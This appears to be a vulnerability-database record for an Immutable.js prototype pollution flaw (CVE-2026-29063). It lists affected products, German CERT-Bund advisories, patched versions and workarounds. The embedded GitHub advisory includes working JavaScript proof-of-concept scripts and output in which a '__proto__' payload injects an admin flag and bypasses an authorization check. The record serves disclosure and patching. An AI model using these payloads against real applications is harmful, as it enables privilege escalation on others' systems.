CVE-2026-29063
criticalpriority · track · 39EPSS 0.010 · 63 %ileDEEUUSEPSS · scored 2026-10-27
Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–critical · 6.6–9.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (28)
Products and version ranges known to be affected.
- Red Hat Enterprise Linux Advanced Cluster Management for Kubernetes v2.16.1all versionscert_bundDEcpe:/o:redhat:enterprise_linux:advanced_cluster_management_for_kubernetes_v2.16.1
- Red Hat Enterprise Linux Multicluster engine for Kubernetes v2.11.0all versionscert_bundDEcpe:/o:redhat:enterprise_linux:multicluster_engine_for_kubernetes_v2.11.0
- Red Hat OpenShift Container Platformall versionscert_bundDEcpe:/a:redhat:openshift:container_platform
- Red Hat OpenShift Container Platform release 4.21.17all versionscert_bundDEcpe:/a:redhat:openshift:container_platform_release_4.21.17
advisories (8)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-0845IBM WebSphere Application Server Liberty: Mehrere SchwachstellenDeutsch2026-03-24csaf · cert_bundDE
Ein entfernter, authentisierter Angreifer kann mehrere Schwachstellen in IBM WebSphere Application Server Liberty ausnutzen, um seine Privilegien zu erhöhen, Sicherheitsmaßnahmen zu umgehen und Informationen offenzulegen.
- WID-SEC-W-2026-1007IBM App Connect Enterprise: Mehrere SchwachstellenDeutsch2026-04-07csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen, und um beliebigen Programmcode auszuführen.
- WID-SEC-W-2026-1229Atlassian Bamboo, Bitbucket, Confluence, Jira: Mehrere SchwachstellenDeutsch2026-04-21csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen oder Cross-Site-Scripting-Angriffe durchzuführen.
- WID-SEC-W-2026-1367Red Hat Advanced Cluster Management und Multicluster engine for Kubernetes: Schwachstelle ermöglicht Codeausführung oder DoSDeutsch2026-05-05csaf · cert_bundDE
Ein entfernter, authentisierter Angreifer kann eine Schwachstelle Red Hat Advanced Cluster Management und Multicluster engine for Kubernetes ausnutzen, um beliebigen Programmcode auszuführen oder einen Denial-of-Service-Zustand zu verursachen.
- WID-SEC-W-2026-2460Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management: Mehrere SchwachstellenDeutsch2026-07-21csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management ausnutzen, um beliebigen Code auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.
- WID-SEC-W-2026-2933Splunk SOAR: Mehrere SchwachstellenDeutsch2026-08-19csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Splunk SOAR ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen SQL-Injection Angriff durchzuführen, um einen Cross-Site Scripting Angriff durchzuführen, und um beliebigen Programmcode auszuführen.
- WID-SEC-W-2026-3046IBM Concert: Mehrere SchwachstellenDeutsch2026-08-26csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM Concert ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen und um Sicherheitsvorkehrungen zu umgehen.
- GHSA-wf6x-7x77-mvgwImmutable is vulnerable to Prototype Pollution2026-03-04ghsa · osvUS
## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path | | `merge(target, source)` | Shallow variant, same assignment logic | | `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard | | `Map.toObject()` | Same `toObject()` implementation | | `Map.mergeDeep(source)` | When source is converted to plain object | ## Patches _Has the problem been patched? What versions should users upgrade to?_ | major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 | ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ - [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input) - [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto) - [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects) - [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype) - [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype) ## Proof of Concept ### PoC 1 — mergeDeep privilege escalation ```javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true ``` ### PoC 2 — All affected APIs ```javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) ``` **Verified output against immutable@5.1.4:** ``` mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted ``` ## References _Are there any links users can visit to find out more?_ - [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (83)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-29063cnnvd
- https://github.com/immutable-js/immutable-js/releases/Patchcnnvd
- https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3cnnvd
- https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8cnnvd
- https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5cnnvd
- https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgwcnnvd
- https://vigilance.fr/vulnerability/IBM-WebSphere-AS-Liberty-information-disclosure-via-openapi-mpOpenAPI-50157cnnvd
- https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3enisa_euvd
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